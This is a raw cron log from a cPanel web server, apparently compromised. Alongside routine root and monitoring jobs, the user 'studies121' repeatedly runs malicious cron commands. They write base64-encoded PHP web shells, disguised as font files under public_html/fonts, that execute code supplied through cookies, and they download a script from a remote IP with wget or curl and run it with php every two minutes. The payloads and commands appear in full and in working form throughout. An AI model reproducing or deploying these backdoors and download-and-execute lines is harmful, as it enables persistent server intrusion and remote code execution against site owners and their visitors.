Sep  6 20:44:01 ip-184-168-122-23 CROND[26973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:45:01 ip-184-168-122-23 CROND[27099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:45:01 ip-184-168-122-23 CROND[27100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:45:01 ip-184-168-122-23 CROND[27104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:45:01 ip-184-168-122-23 CROND[27105]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  6 20:45:01 ip-184-168-122-23 CROND[27103]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:45:01 ip-184-168-122-23 CROND[27106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:45:01 ip-184-168-122-23 CROND[27102]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:46:01 ip-184-168-122-23 CROND[27197]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 20:46:01 ip-184-168-122-23 CROND[27199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:46:01 ip-184-168-122-23 CROND[27200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:46:01 ip-184-168-122-23 CROND[27202]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:46:01 ip-184-168-122-23 CROND[27204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:46:01 ip-184-168-122-23 CROND[27203]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 20:46:01 ip-184-168-122-23 CROND[27201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:47:01 ip-184-168-122-23 CROND[27293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:47:01 ip-184-168-122-23 CROND[27295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:47:01 ip-184-168-122-23 CROND[27296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:47:01 ip-184-168-122-23 CROND[27297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:48:01 ip-184-168-122-23 CROND[27387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:48:01 ip-184-168-122-23 CROND[27389]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:48:01 ip-184-168-122-23 CROND[27390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:48:01 ip-184-168-122-23 CROND[27391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:48:01 ip-184-168-122-23 CROND[27392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:49:01 ip-184-168-122-23 CROND[27474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:49:01 ip-184-168-122-23 CROND[27476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:49:01 ip-184-168-122-23 CROND[27477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:49:01 ip-184-168-122-23 CROND[27478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:50:01 ip-184-168-122-23 CROND[27562]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 20:50:01 ip-184-168-122-23 CROND[27573]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:50:01 ip-184-168-122-23 CROND[27575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:50:01 ip-184-168-122-23 CROND[27579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:50:01 ip-184-168-122-23 CROND[27578]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 20:50:01 ip-184-168-122-23 CROND[27583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:50:01 ip-184-168-122-23 CROND[27584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:50:01 ip-184-168-122-23 CROND[27585]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:50:01 ip-184-168-122-23 CROND[27586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:51:01 ip-184-168-122-23 CROND[27755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:51:01 ip-184-168-122-23 CROND[27757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:51:01 ip-184-168-122-23 CROND[27759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:51:01 ip-184-168-122-23 CROND[27760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:52:01 ip-184-168-122-23 CROND[27836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:52:01 ip-184-168-122-23 CROND[27837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:52:01 ip-184-168-122-23 CROND[27841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:52:01 ip-184-168-122-23 CROND[27840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:52:01 ip-184-168-122-23 CROND[27842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:53:01 ip-184-168-122-23 CROND[27931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:53:01 ip-184-168-122-23 CROND[27934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:53:01 ip-184-168-122-23 CROND[27935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:53:01 ip-184-168-122-23 CROND[27933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:54:01 ip-184-168-122-23 CROND[28022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:54:01 ip-184-168-122-23 CROND[28025]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:54:01 ip-184-168-122-23 CROND[28026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:54:01 ip-184-168-122-23 CROND[28029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:54:01 ip-184-168-122-23 CROND[28024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:55:01 ip-184-168-122-23 CROND[28111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:55:01 ip-184-168-122-23 CROND[28112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:55:01 ip-184-168-122-23 CROND[28115]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:55:01 ip-184-168-122-23 CROND[28117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:55:01 ip-184-168-122-23 CROND[28114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:55:01 ip-184-168-122-23 CROND[28120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:56:01 ip-184-168-122-23 CROND[28283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:56:01 ip-184-168-122-23 CROND[28285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:56:01 ip-184-168-122-23 CROND[28286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
